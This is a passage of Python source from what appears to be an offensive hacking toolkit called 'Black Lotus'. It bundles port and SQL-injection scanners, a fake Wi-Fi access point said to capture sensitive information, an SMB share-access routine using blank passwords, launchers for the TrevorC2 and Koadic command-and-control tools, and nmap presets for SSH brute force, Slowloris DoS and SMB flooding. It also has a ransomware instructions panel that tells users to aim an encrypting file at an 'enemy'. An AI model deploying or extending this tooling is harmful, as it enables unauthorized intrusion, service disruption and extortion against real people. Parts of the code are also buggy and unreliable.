untitledfile = filedialog.asksaveasfilename(title = "Save file As",defaultextension=".txt",initialfile = "Untitled.txt",filetypes = (("All Files","*.*"),("Text Files","*.txt"),("Python Files","*.py"),("Bat Files","*.bat"),("Executables","*.exe"),("Android Apps","*.apk")))
# Reading the data from text area
data = self.txtarea.get("1.0",END)
# opening File in write mode
outfile = open(untitledfile,"w")
# Writing Data into file
outfile.write(data)
# Closing File
outfile.close()
# Updating filename as Untitled
self.filename = untitledfile
# Calling Set title
self.settitle()
# Updating Status
self.status.set("Saved Successfully")
except Exception as e:
messagebox.showerror("Exception",e)
# Defining Exit Funtion
def exit(self,*args):
op = messagebox.askyesno("WARNING","Your Unsaved Data May be Lost!!")
if op>0:
self.root.destroy()
else:
return
# Defining Cut Funtion
def cut(self,*args):
self.txtarea.event_generate("<<Cut>>")
# Defining Copy Funtion
def copy(self,*args):
self.txtarea.event_generate("<<Copy>>")
# Defining Paste Funtion
def paste(self,*args):
self.txtarea.event_generate("<<Paste>>")
# Defining Undo Funtion
def undo(self,*args):
# Exception handling
try:
# checking if filename not none
if self.filename:
# Clearing Text Area
self.txtarea.delete("1.0",END)
# opening File in read mode
infile = open(self.filename,"r")
# Inserting data Line by line into text area
for line in infile:
self.txtarea.insert(END,line)
# Closing File
infile.close()
# Calling Set title
self.settitle()
# Updating Status
self.status.set("Undone Successfully")
else:
# Clearing Text Area
self.txtarea.delete("1.0",END)
# Updating filename as None
self.filename = None
# Calling Set title
self.settitle()
# Updating Status
self.status.set("Undone Successfully")
except Exception as e:
messagebox.showerror("Exception",e)
# Defining About Funtion
def infoabout(self):
messagebox.showinfo("Black Lotus Text Editor","offers integrated text editor for our hackers!\nEnjoy writting your next virus!")
# Defining shortcuts Funtion
def shortcuts(self):
# Binding Ctrl+n to newfile funtion
self.txtarea.bind("<Control-n>",self.newfile)
# Binding Ctrl+o to openfile funtion
self.txtarea.bind("<Control-o>",self.openfile)
# Binding Ctrl+s to savefile funtion
self.txtarea.bind("<Control-s>",self.savefile)
# Binding Ctrl+a to saveasfile funtion
self.txtarea.bind("<Control-a>",self.saveasfile)
# Binding Ctrl+e to exit funtion
self.txtarea.bind("<Control-e>",self.exit)
# Binding Ctrl+x to cut funtion
self.txtarea.bind("<Control-x>",self.cut)
# Binding Ctrl+c to copy funtion
self.txtarea.bind("<Control-c>",self.copy)
# Binding Ctrl+v to paste funtion
self.txtarea.bind("<Control-v>",self.paste)
# Binding Ctrl+u to undo funtion
self.txtarea.bind("<Control-u>",self.undo)
# Creating TK Container
root = Tk()
# Passing Root to TextEditor Class
TextEditor(root)
# Root Window Looping
root.mainloop()
#----------------------------------------------------------------------------------------------------------------------
def wipp():
import tkinterweb
import tkinter as tk
root = tk.Tk()
root.title("Black Lotus Browser: Wireless Network Mapping")
root.geometry("900x450+200+150")
frame = tkinterweb.HtmlFrame(root)
frame.load_website('https://www.wigle.net/')
frame.pack(fill="both", expand=True)
root.mainloop()
print("If browser did not work, go here > https://www.wigle.net/")
#----------------------------------------------------------------------------------------------------------------------
def observer():
#!/usr/bin/env python3
#Viking v1-dev-
#Copyright of Th3 Jes7er
def startup():
import os
os.system('cls||clear')
banner =(r"""
`-.`'.-'
`-. .-'.
`-. -./\.- .-'
-. /_|\ .-
`-. `/____\' .-'.
`-. -./.-""-.\.- '
`-. /< (()) >\ .-'
- .`/__`-..-'__\' .-
,...`-./___|____|___\.-'.,.
,-' ,` . . ', `-,
,-' ________________ `-,
,'/____|_____|_____\
/ /__|_____|_____|___\ ( \ /(
)\ / ) / /|_____|_____|_____|_\ ) ) \ \
/ / ( ( ' /____|_____|_____|_____\ / / | |
| | \ \ .' /__|_____|_____|_____|___\ / / / /.-.
.-.\ \ \ \ ,' /|_____|_____|_____|_____|_\ | `._.' /( =)
(= )\ `._.' | ```````````````````````````````` ( (_) /
`----'____ _ `----'
/ __ \| | By Th3 Jes7er $ ADVANCED NETWORK SCANNER
| | | | |__ ___ ___ _ ____ _____ _ __
| | | | '_ \/ __|/ _ \ '__\ \ / / _ \ '__|
| |__| | |_) \__ \ __/ | \ V / __/ |
\____/|_.__/|___/\___|_| \_/ \___|_| -v1-""")
print("\033[32m", banner)
observer = True
from datetime import datetime
import socket
import threading
import os
import platform
def icmp_scan():
from datetime import datetime
net = input("Enter the Network Address: ")
net1= net.split('.')
a = '.'
net2 = net1[0] + a + net1[1] + a + net1[2] + a
st1 = int(input("Enter the Starting Number: "))
en1 = int(input("Enter the Last Number: "))
en1 = en1 + 1
oper = platform.system()
if (oper == "Windows"):
ping1 = "ping -n 1 "
elif (oper == "Linux"):
ping1 = "ping -c 1 "
else :
ping1 = "ping -c 1 "
t1 = datetime.now()
print ("Scanning in Progress:")
for ip in range(st1,en1):
addr = net2 + str(ip)
comm = ping1 + addr
response = os.popen(comm)
for line in response.readlines():
if(line.count("TTL")):
break
if (line.count("TTL")):
print (addr, "--> Live")
t2 = datetime.now()
total = t2 - t1
print ("Scanning completed in: ",total)
def main_scan():
addr = socket.gethostbyname(input("\n\n\033[32mObserver(\033[33mtarget/hostname\033[32m) > "))
start_port = 0
port_end_if = input("\033[32mObserver(\033[33mregular/full\033[32m) > ")
if port_end_if == "regular":
end_port = int(1024)
elif port_end_if == "full":
end_port = int(65535)
else:
pass
print("\nScanning Target: "+ str(addr))
print("|_IP ADDRESS\tPORT\tSTATE\tSERVICE\tHOSTNAME")
def scanport(addr, port):
socket_obj = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
socket.setdefaulttimeout(1)
result = socket_obj.connect_ex((addr,port))
socket_obj.close()
if result == 0:
machine_hostname = socket.gethostbyaddr(addr)[0]
service = socket.getservbyport(port)
print("| " + str(addr) + " \t" + str(port) + "\topen" +" \t"+ str(service) + " \t" + str(machine_hostname))
return port
else:
return None
def bannergrabbing(addr, port):
print("Gettig service information for port: ", port)
bannergrabber = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
socket.setdefaulttimeout(2)
try:
bannergrabber.connect((addr, port))
bannergrabber.send('WhoAreYou\r\n')
banner = bannergrabber.recv(100)
bannergrabber.close()
print (banner, "\n")
except:
print("Cannot connect to port ", port)
def portscanner(address, start, end):
open_ports = []
# scan port range for host
for port in range(start_port, end_port):
open_port = scanport(addr, port)
if open_port is None:
continue
else:
open_ports.append(open_port)
return open_ports
def get_service_banners_for_host(address, portlist):
for port in portlist:
bannergrabbing(addr, port)
if __name__=='__main__':
open_ports = portscanner(addr, start_port, end_port)
get_service_banners_for_host(addr, open_ports)
def tcp_scan():
import socket
from datetime import datetime
net = input("Enter the IP address: ")
net1 = net.split('.')
a = '.'
net2 = net1[0] + a + net1[1] + a + net1[2] + a
st1 = int(input("Enter the Starting Number: "))
en1 = int(input("Enter the Last Number: "))
en1 = en1 + 1
t1 = datetime.now()
def scan(addr):
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
socket.setdefaulttimeout(1)
result = s.connect_ex((addr,135))
if result == 0:
return 1
else :
return 0
def run1():
for ip in range(st1,en1):
addr = net2 + str(ip)
if (scan(addr)):
print (addr , "is live")
run1()
t2 = datetime.now()
total = t2 - t1
print("Scan completed in '", total, "'")
print("""
\033[32m[\033[33m1\033[37m] ICMP SCAN (ping sweep)
\033[32m[\033[33m2\033[37m] TCP Discover UP target machines
\033[32m[\033[33m3\033[37m] Scan a remote host for open ports and fingerprints
""")
observer_scan = input("\033[32mEnter choice > ")
if observer_scan == "1":
icmp_scan()
elif observer_scan == "2":
tcp_scan()
elif observer_scan == "3":
main_scan()
else:
pass
startup()
#----------------------------------------------------------------------------------------------------------------------
def webcam_opener():
import cv2
cap = cv2.VideoCapture(0)
if not cap.isOpened():
raise IOError("Cannot open webcam")
while True:
ret, frame = cap.read()
frame = cv2.resize(frame, None, fx=0.5, fy=0.5, interpolation=cv2.INTER_AREA)
cv2.imshow('Black Lotus camera', frame)
c = cv2.waitKey(1)
if c == 27:
break
cap.release()
cv2.destroyAllWindows()
#----------------------------------------------------------------------------------------------------------------------
def ransomware_instructions():
os.system("cls || clear")
print("""
\033[31mRansomware instructions Panel\033[37m
The infected file is called '\033[31mransomware.py\033[37m'
It's located in the same folder of Black Lotus
1) Open The file and edit the enemy file you want to encrypt
2) Under the '\033[33mATTACK MESSAGE\033[37m' section you have 3 options:
|_1) Change the txt file name ( Default = 'YOU_ARE_FUCKED')
|_\033[31mDONT CHANGE THE FILE TYPE \033[37m( DEFAULT '.txt')
|_2) Change the contact form with an email of your choice
|_3) Change the email name if you want( Default = 'HELP ME')
To Undo the encryption run this script (only the yellow code) :
---------------------------------------------------------- """)
print("\033[33m")
print("""
#!/usr/bin/python
# Ransomware Antidote By The Jes7er
import os
try:
from Crypto.Cipher import XOR
except:
os.system('pip install pycrypto')
import base64
import sys
key = 'matrix'
cipher = XOR.new(key)
pathfile = 'THE FILE YOU WANT TO DECRYPT'
openfile = open(pathfile, 'rb')
readfile = openfile.read()
openfile.close()
encoding = cipher.decrypt(base64.b64decode(readfile))
os.system('rm '+ pathfile)
openfile2 = open(pathfile,'wb')
openfile2.write(encoding)
openfile2.close()
""")
print("""\033[37m------------------------------------------------------------
save this file after the modification as '\033[32mdecryption.py\033[37m'
run it by typing '\033[31mpython3 decryption.py\033[37m'
\n\033[31mREAD FROM THE BEGINNING ^ \033[37m""")
#----------------------------------------------------------------------------------------------------------------------
def updatesystem():
import os
print("\033[31mBlack Lotus is doing some updates for you")
print("This may take a while.. Grab a coffee\033[37m ")
os.system("sudo apt-get update -y && sudo apt-get upgrade -y")
#----------------------------------------------------------------------------------------------------------------------
def meg_sql_scan():
import requests
from bs4 import BeautifulSoup as bs
from urllib.parse import urljoin
from pprint import pprint
logo = ("""\033[37m
[ \033[31mBlack Lotus SQL Injection Scanner\033[37m ]
|
|_________|--------=-----------.
|_________|| | | |=| \033[33m ////////\033[37m |%%========-\033[37m
| |--------=-----------`
|
""")
# initialize an HTTP session & set the browser
s = requests.Session()
s.headers["User-Agent"] = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.106 Safari/537.36"
def get_all_forms(url):
"""Given a `url`, it returns all forms from the HTML content"""
soup = bs(s.get(url).content, "html.parser")
return soup.find_all("form")
def get_form_details(form):
"""
This function extracts all possible useful information about an HTML `form`
"""
details = {}
# get the form action (target url)
try:
action = form.attrs.get("action").lower()
except:
action = None
# get the form method (POST, GET, etc.)
method = form.attrs.get("method", "get").lower()
# get all the input details such as type and name
inputs = []
for input_tag in form.find_all("input"):
input_type = input_tag.attrs.get("type", "text")
input_name = input_tag.attrs.get("name")
input_value = input_tag.attrs.get("value", "")
inputs.append({"type": input_type, "name": input_name, "value": input_value})
# put everything to the resulting dictionary
details["action"] = action
details["method"] = method
details["inputs"] = inputs
return details
def is_vulnerable(response):
"""A simple boolean function that determines whether a page
is SQL Injection vulnerable from its `response`"""
errors = {
# MySQL
"you have an error in your sql syntax;",
"warning: mysql",
# SQL Server
"unclosed quotation mark after the character string",
# Oracle
"quoted string not properly terminated",
}
for error in errors:
# if you find one of these errors, return True
if error in response.content.decode().lower():
return True
# no error detected
return False
def scan_sql_injection(url):
# test on URL
for c in "\"'":
# add quote/double quote character to the URL
new_url = f"{url}{c}"
print("[\033[33m!\033[37m] Trying", new_url)
# make the HTTP request
res = s.get(new_url)
if is_vulnerable(res):
# SQL Injection detected on the URL itself,
# no need to preceed for extracting forms and submitting them
print("[\033[31m+\033[37m] SQL Injection vulnerability detected, link:", new_url)
return
# test on HTML forms
forms = get_all_forms(url)
print(f"[\033[31m+\033[37m] Detected {len(forms)} forms on {url}.")
for form in forms:
form_details = get_form_details(form)
for c in "\"'":
# the data body we want to submit
data = {}
for input_tag in form_details["inputs"]:
if input_tag["type"] == "hidden" or input_tag["value"]:
# any input form that is hidden or has some value,
# just use it in the form body
try:
data[input_tag["name"]] = input_tag["value"] + c
except:
pass
elif input_tag["type"] != "submit":
# all others except submit, use some junk data with special character
data[input_tag["name"]] = f"test{c}"
# join the url with the action (form request URL)
url = urljoin(url, form_details["action"])
if form_details["method"] == "post":
res = s.post(url, data=data)
elif form_details["method"] == "get":
res = s.get(url, params=data)
# test whether the resulting page is vulnerable
if is_vulnerable(res):
print("[\033[31m+\033[37m] SQL Injection vulnerability detected, link: ", url)
print("[\033[31m+\033[37m] Form:")
pprint(form_details)
break
if __name__ == "__main__":
print(logo)
url = input("Enter URL > ")
#http://testphp.vulnweb.com/artists.php?artist=1
scan_sql_injection(url)
#----------------------------------------------------------------------------------------------------------------------
def cve_search():
cve = input("Enter cve name \033[5;31m|> \033[0;37m")
url = 'https://cve.mitre.org/cgi-bin/cvename.cgi?name='
url = str(url + cve)
print("\033[37mVisit this url to get complete information > \033[31m", url, "\033[37m")
#----------------------------------------------------------------------------------------------------------------------
def steganography_meg():
import cv2
import numpy as np
def to_bin(data):
"""Convert `data` to binary format as string"""
if isinstance(data, str):
return ''.join([ format(ord(i), "08b") for i in data ])
elif isinstance(data, bytes) or isinstance(data, np.ndarray):
return [ format(i, "08b") for i in data ]
elif isinstance(data, int) or isinstance(data, np.uint8):
return format(data, "08b")
else:
raise TypeError("Type not supported.")
def encode(image_name, secret_data):
# read the image
image = cv2.imread(image_name)
# maximum bytes to encode
n_bytes = image.shape[0] * image.shape[1] * 3 // 8
print("[*] Maximum bytes to encode:", n_bytes)
if len(secret_data) > n_bytes:
raise ValueError("[!] Insufficient bytes, need bigger image or less data.")
print("[*] Encoding data...")
# add stopping criteria
secret_data += "====="
data_index = 0
# convert data to binary
binary_secret_data = to_bin(secret_data)
# size of data to hide
data_len = len(binary_secret_data)
for row in image:
for pixel in row:
# convert RGB values to binary format
r, g, b = to_bin(pixel)
# modify the least significant bit only if there is still data to store
if data_index < data_len:
# least significant red pixel bit
pixel[0] = int(r[:-1] + binary_secret_data[data_index], 2)
data_index += 1
if data_index < data_len:
# least significant green pixel bit
pixel[1] = int(g[:-1] + binary_secret_data[data_index], 2)
data_index += 1
if data_index < data_len:
# least significant blue pixel bit
pixel[2] = int(b[:-1] + binary_secret_data[data_index], 2)
data_index += 1
# if data is encoded, just break out of the loop
if data_index >= data_len:
break
return image
def decode(image_name):
print("[+] Decoding...")
# read the image
image = cv2.imread(image_name)
binary_data = ""
for row in image:
for pixel in row:
r, g, b = to_bin(pixel)
binary_data += r[-1]
binary_data += g[-1]
binary_data += b[-1]
# split by 8-bits
all_bytes = [ binary_data[i: i+8] for i in range(0, len(binary_data), 8) ]
# convert from bits to characters
decoded_data = ""
for byte in all_bytes:
decoded_data += chr(int(byte, 2))
if decoded_data[-5:] == "=====":
break
return decoded_data[:-5]
if __name__ == "__main__":
input_image = input("Enter Image path > ")
output_image = input("Enter Output path > ")
secret_data = input("Enter Message to hidde > ")
# encode the data into the image
encoded_image = encode(image_name=input_image, secret_data=secret_data)
# save the output image (encoded image)
cv2.imwrite(output_image, encoded_image)
# decode the secret data from the image
decoded_data = decode(output_image)
print("[+] Decoded data:", decoded_data)
#----------------------------------------------------------------------------------------------------------------------
def fake_wifi_access_point():
#sudo apt-get install aircrack-ng
import os
os.system('cls||clear')
print("""\033[37m
.&&&&&@&&&&&&&&&&&&&@&&&&%
@@@&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&@@
@&&&&&&&&&&&&&&&&&&@@&&&&&&&&&&&&&&&&&&&&&&&&@@@%
%&&&&&&&&&&@&&# .&&@&&&&&&&&&&&/
&@&&&&&&&@&@ .&&&&&&&&&&&#
@&&&&&&&@ (@@&&&&&&&@@/ &&&&&&&&*
&&& %&@&&&&&&&&&&&&&&&&&&&&&&&@&/ &@&
,&@&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&@&@
%&&&&&&&&&&&@@. *@&&&&&&&&&&&@(
&@&&&&&&/ &&&&&&&&&
@@@ &@%
#&&&&&&&&&&&&&&&@@/
%&&&&&&&&&&&&&&&&&&&&&&&&&*
@&&&&&&@@@/ (@&&@&&&&@#
*&& && \033[31mBlack Lotus Fake Wifi Access Point\033[37m
Capture sensitive information
@&&&&&&&&&@
&&&&&&&
@&&
""")
os.system("sudo airmon-ng check kill")
os.system("sudo airmon-ng")
print("Choose an interface ^ ")
iface = input("Enter interface name \033[36m>\033[37m ")
os.system("sudo airmon-ng start " + str(iface))
sender_mac = RandMAC()
ssid = input("Enter the fake wifi name \033[36m>\033[37m ")
dot11 = Dot11(type=0, subtype=8, addr1="ff:ff:ff:ff:ff:ff", addr2=sender_mac, addr3=sender_mac)
beacon = Dot11Beacon()
essid = Dot11Elt(ID="SSID", info=ssid, len=len(ssid))
frame = RadioTap()/dot11/beacon/essid
sendp(frame, inter=0.1, iface=iface, loop=1)
#----------------------------------------------------------------------------------------------------------------------
def google_maps():
try:
from pygeocoder import Geocoder
except:
os.system("sudo pip3 install pygeocoder")
from pygeocoder import Geocoder
print("You need an API key, to get one go here http://g.co/dev/maps-no-account")
business_name = input("Enter name or location \033[31m>\033[37m ")
print("Searching %s" %business_name)
results = Geocoder.geocode(business_name)
for result in results:
print(result)
#----------------------------------------------------------------------------------------------------------------------
def photo_ai():
print("\033[37mArtificial Intelligence face scanner")
print("Search all over the web to find persons face")
print("Link \033[31m>\033[33m https://pimeyes.com/en \033[37m")
#----------------------------------------------------------------------------------------------------------------------
def reaper():
import os
from datetime import datetime
import time
smb_scan = True
os.system('cls||clear')
print("""\033[31m Black Lotus SMB Exploit Toolkit
⢤⣶⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣤⡾⠿⢿⡀⠀⠀⠀⠀⣠⣶⣿⣷⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⢀⣴⣦⣴⣿⡋⠀⠀⠈⢳⡄⠀⢠⣾⣿⠁⠈⣿⡆⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⣰⣿⣿⠿⠛⠉⠉⠁⠀⠀⠀⠹⡄⣿⣿⣿⠀⠀⢹⡇⠀⠀⠀
⠀⠀⠀⠀⠀⣠⣾⡿⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⣰⣏⢻⣿⣿⡆⠀⠸⣿⠀⠀⠀
⠀⠀⠀⢀⣴⠟⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⣾⣿⣿⣆⠹⣿⣷⠀⢘⣿⠀⠀⠀
⠀⠀⢀⡾⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢰⣿⣿⠋⠉⠛⠂⠹⠿⣲⣿⣿⣧⠀⠀
⠀⢠⠏⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣤⣿⣿⣿⣷⣾⣿⡇⢀⠀⣼⣿⣿⣿⣧⠀
⠰⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⡘⢿⣿⣿⣿⠀
⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⣷⡈⠿⢿⣿⡆
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠙⠛⠁⢙⠛⣿⣿⣿⣿⡟⠀⡿⠀⠀⢀⣿⡇
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⣶⣤⣉⣛⠻⠇⢠⣿⣾⣿⡄⢻⡇
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⣿⣿⣦⣤⣾⣿⣿⣿⣿⣆⠁
\033[37mR3APER SMB (\033[31mscanner\033[37m/\033[31mattacker\033[37m)""")
def attack():
step1 = ("sudo nbtscan " + target + "/30")
os.system(step1)
ip = input("\n\033[37m(\033[31mSelect target\033[37m)💀\033[5;31m>\033[0;37m ")
print("\033[37m")
step2 = ("sudo nmblookup -A " + ip)
os.system(step2)
exploit = input("\n\033[37m(\033[31mExploit the selected SMB server\033[37m) \033[31my\033[37m/\033[31mn 💀\033[5;31m>\033[0;37m ")
if exploit == "y":
workgroup = input("\n\033[37m(\033[31mEnter WORKGROUP\033[37m) 💀\033[5;31m>\033[0;37m ")
auth_exp = input("\n\033[37m(\033[31mBlank Password Mode\033[37m) \033[31my\033[37m/\033[31mn 💀\033[5;31m>\033[0;37m ")
if auth_exp == "y":
auth_exp = " -N"
else:
auth_exp = input("\n\033[37m(\033[31mEnter Password\033[37m) 💀\033[5;31m>\033[0;37m ")
expl = ("sudo smbclient -L " + ip + " -W " + workgroup + auth_exp)
print("\033[37mShowing Available Directories..")
os.system(expl)
print("Choose a Direcory/Device to connect")
dir = input("\n\033[37m(\033[31mEnter Dir/Device\033[37m) 💀\033[5;31m>\033[0;37m ")
expl_dir = ("sudo smbclient \\\\" + ip + "\\" + dir + " -N ")
print("\033[37mInitialising Access...\033[31m\nThanks for using R3APER!")
os.system(exp_dir)
else:
smb_scan = False
while smb_scan:
try:
target = input("\n\033[37m(\033[31mEnter ip to scan\033[37m)💀\033[5;31m>\033[0;37m ")
print("\033[31mScanning Target: \033[37m" + target)
print("\033[31mScanning started at: \033[37m" + str(datetime.now()))
print("\033[37m")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
socket.setdefaulttimeout(1)
port = 137
result = s.connect_ex((target,port))
if result ==0:
attack()
s.close()
else:
print("server does not appear vulnerable")
a = input("continue with the exploitation process? \033[31my\033[37m/\033[31mn 💀\033[5;31m>\033[0;37m ")
if a == "y":
attack()
else:
smb_scan = False
except KeyboardInterrupt:
print("\n Exitting Program!")
smb_scan = False
#----------------------------------------------------------------------------------------------------------------------
def meg_password_generator():
import string
import random
import os
os.system('cls||clear')
print("""\033[31m
██████████
████░░░░░░░░░░██████
██░░░░░░░░░░░░░░░░░░░░██
██░░░░░░░░░░░░░░░░░░░░░░░░██ ████
▓▓░░░░░░░░░░░░░░░░░░░░░░░░░░██ ██░░██
██░░░░░░░░░░░░░░░░░░░░░░░░░░░░██░░░░████████████████████████████████
██░░░░░░██████░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░██
██░░░░██ ██░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░██
██░░░░██ ▓▓░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░██
██░░░░██ ██░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▓▓░░░░░░░░▓▓░░░░░░░░██
██░░░░░░██████░░░░░░░░░░░░░░░░░░░░░░░░██████░░██ ██░░░░██ ████████
██░░░░░░░░░░░░░░░░░░░░░░░░░░░░██░░░░██ ██ ████
██░░░░░░░░░░░░░░░░░░░░░░░░░░██ ██░░██
██░░░░░░░░░░░░░░░░░░░░░░░░██ ████
██░░░░░░░░░░░░░░░░░░░░██
████░░░░░░░░░░██████ Black Lotus Password Generator
▓▓▓▓▓▓▓▓▓▓ Custom Length
\033[37m""")
characters = list(string.ascii_letters + string.digits + "!@#$%^&*()")
def generate_random_password():
length = int(input("Enter password length \033[31m>\033[37m "))
random.shuffle(characters)
password = []
for i in range(length):
password.append(random.choice(characters))
random.shuffle(password)
print("Password Generated \033[31m> ", "".join(password), "\033[37m ")
generate_random_password()
#----------------------------------------------------------------------------------------------------------------------
def dns_resolver():
import dns
import dns.resolver
print("""
_| DNS RESOLVER
_[1] Find the ip address for the domain( 'A' RECORD )
_[2] Find Canonical Name Record ( 'CNAME Value' )
_[3] Find mail exchanger record ( 'MX RECORD' )
To exit type 'exit'
""")
a = input("DNS resolver \033[5;31m|>\033[0;37m ")
if a == "1":
target_host = input("Target host \033[5;31m|>\033[0;37m ")
result = dns.resolver.resolve(target_host, 'A')
for ipval in result:
print('\nIP\033[31m ', ipval.to_text(), '\033[37m')
elif a == "2":
target_host = input("Target to CNAME \033[5;31m|>\033[0;37m ")
result = dns.resolver.resolve(target_host, 'CNAME')
for cnameval in result:
print('\nCNAME target address: \033[31m', cnameval.target, '\033[37m')
elif a =="3":
target_host = input("Target to MX RECORD \033[5;31m|>\033[0;37m ")
result = dns.resolver.resolve(target_host, 'MX')
for exdata in result:
print('\nMX Record: \033[31m', exdata.exchange.text(), '\033[37m')
elif a =="exit":
dns_resolver = False
else:
print(a, " not recognized, try again '1,2 or 3'")
#----------------------------------------------------------------------------------------------------------------------
def telnet_connect():
import getpass
import telnetlib
HOST = "http://localhost:8000/"
user = input("Enter your remote account \033[5;31m|>\033[0;37m ")
password = getpass.getpass()
tn = telnetlib.Telnet(HOST)
tn.read_until("login: ")
tn.write(user + "\n")
if password:
tn.read_until("Password: ")
tn.write(password + "\n")
tn.write("ls\n")
tn.write("exit\n")
print(tn.read_all())
#----------------------------------------------------------------------------------------------------------------------
def trevor_darknet():
import os
os.system('cd Documents/boot-menu/meg/tools/trevorc2 && sudo pip3 install -r requirements.txt && sudo pip3 install bleach && sudo python3 trevorc2_server.py')
#----------------------------------------------------------------------------------------------------------------------
def koadic_darknet():
os.system("cls||clear")
print("Black Lotus Darknet Collection")
os.system("cd Documents/boot-menu/meg/tools/koadic && sudo pip3 install -r requirements.txt && sudo ./koadic")
#----------------------------------------------------------------------------------------------------------------------
def blindmaiden_automated_scanner():
import os
import time
os.system('cls||clear')
def ip_addr_scanner_target():
import re
import json
from urllib.request import urlopen
ip_addr = input("\033[37mEnter Target Ip Address \033[36m> \033[37m")
url = 'http://ipinfo.io/' + str(ip_addr) + '/json'
response = urlopen(url)
data = json.load(response)
ip=data['ip']
org=data['org']
city = data['city']
country=data['country']
region=data['region']
location=data['loc']
hostname=data['hostname']
print('\033[34mIP Address Details\n \033[37m')
print('\033[37mIP: \033[34m', ip, '\033[37m\nRegion: \033[34m', region, '\033[37m\nCountry: \033[34m',country, '\033[37m\nCity: \033[34m',city, '\033[37m\nOrg: \033[34m', org, '\033[37m ')
print('\033[37mLocation: \033[34m', location)
print('\033[37mHostname: \033[34m', hostname)
def blindmaiden_scan():
os.system('cls||clear')
blindmaiden_scan_build = True
scan1 = " "
scan2 = " "
scan3 = " "
scan4 = " "
scan5 = "0"
scan6 = " "
scan7 = " "
scan8 = " "
scan9 = " "
scan10 = " "
scan11 = " "
scan12 = " "
scan13 = " "
scan14 = " "
scan15 = " "
scan16 = " "
scan17 = " "
scan18 = " "
scan19 = " "
scan20 = " "
while blindmaiden_scan_build:
print("\033[36m")
print(r"""Automated Nmap Scanner
,--. By
{ } Th3 Jes7er
K, }
/ ~Y` Blindmaiden Scan Build Package
, / /
{_'-K.__/ [1] Firewall Bypass
`/-.__L._ [2] OS Detection
/ ' /`\_} [3] Port Service Version
/ ' / [4] Traceroute
____ / ' / [5] Ip Information
,-'~~~~ ~~/ ' /_ [6] Banner Grabbing
,' ``~~~ ', [7] Bruteforce DNS
( Y [8] Bruteforce SSH
{ I [9] HTTP Enumeration
{ - `, [10] Basic Nmap Scripts
| ', ) [11] Vulnerability Scanning
| | ,..__ __. Y [12] HTTP PHP VERSION
| .,_./ Y ' / ^Y J )| [13] ALL PORTS SCAN
\ |' / | | || [14] CUSTOM PORT SCAN
\ L_/ . _ (_,.'( [15] FAST SCAN
\, , ^^""' / | ) [16] SET CUSTOM SPEED
\_ \ /,L] / [17] SLOWLORIS DOS ATTACK
'-_~-, ` ` ./` [18] SMB FLOOD
`'{_ ) [19] DECOY SCAN
^^\..___,.--` [20] Skip Host Discovery
[00] START SCANNING
[99] Exit Blindmaiden
To exit type 'exit' or '99'
""")
a = input("\033[37mBlindmaiden \033[36mx\033[37m ")
os.system('cls||clear')
if a =="1":
scan1 = str("-PO --script firewalk -f")
print("+Firewall Bypass Selected")
elif a =="2":
scan2 = str("-O -A")
print("+OS Detection Selected")
elif a =="3":
scan3 = str("-sV")
print("+Port Service Version Selected")
elif a =="4":
scan4 = str("--traceroute")
print("+Traceroute Selected")
elif a =="5":
scan5 = "1"
print("+Ip Details Selected")
elif a =="6":
scan6 = str("--script=banner --version-intensity 5")
print("+Banner Grabbing Selected")
elif a =="7":
scan7 = str("--script dns-brute")
print("+DNS Bruteforce Selected")
elif a =="8":
scan8 = str("--script ssh-brute")
print("+SSH Bruteforce Selected")
elif a =="9":
scan9 = str("--script http-enum")
print("+HTTP Enumeration Selected")
elif a =="10":
scan10 = str("-sC")
print("+Basic Scripts Selected")
elif a =="11":
scan11 = str("--script vuln")
print("+Vulnerability Scan Selected")
elif a =="12":
scan12 = str("--script=http-php-version")
print("+PHP Version Selected")
elif a =="13":
scan13 = str("-p-")
print("+All Ports Scan Selected")
elif a =="14":
b = input("Blindmaiden(\033[36mport\033[37m)\033[36mx\033[37m ")
b = str(b)
scan14 = str("-p " + b)
print("+Custom Port Scan Selected")
print("Port: ", b)
elif a =="15":
scan15 = str("-F")
print("+Fast Scan Selected")
elif a =="16":
b = input("Blindmaiden(speed '1-5' )x ")
scan16 = str("-T", b)
print("+Speed Selected ", b)
elif a =="17":
scan17 = str("--script http-slowloris")
print("+Slowloris DOS Attack Selected")
elif a =="18":
scan18 = str("--script smb-flood.nse")
print("+SMB Flood Selected")
elif a =="19":
scan19 = str("-D RND:5")
print("+Decoy Scan Selected")
elif a =="20":
scan20 = str("-Pn")
print("+Skip Host Discovery Selected")
elif a =="00":
print("Enter target ip or hostname")
print("do not include http/https on url")
target = input("Blindmaiden(\033[36mtarget\033[37m) \033[36mx\033[37m ")
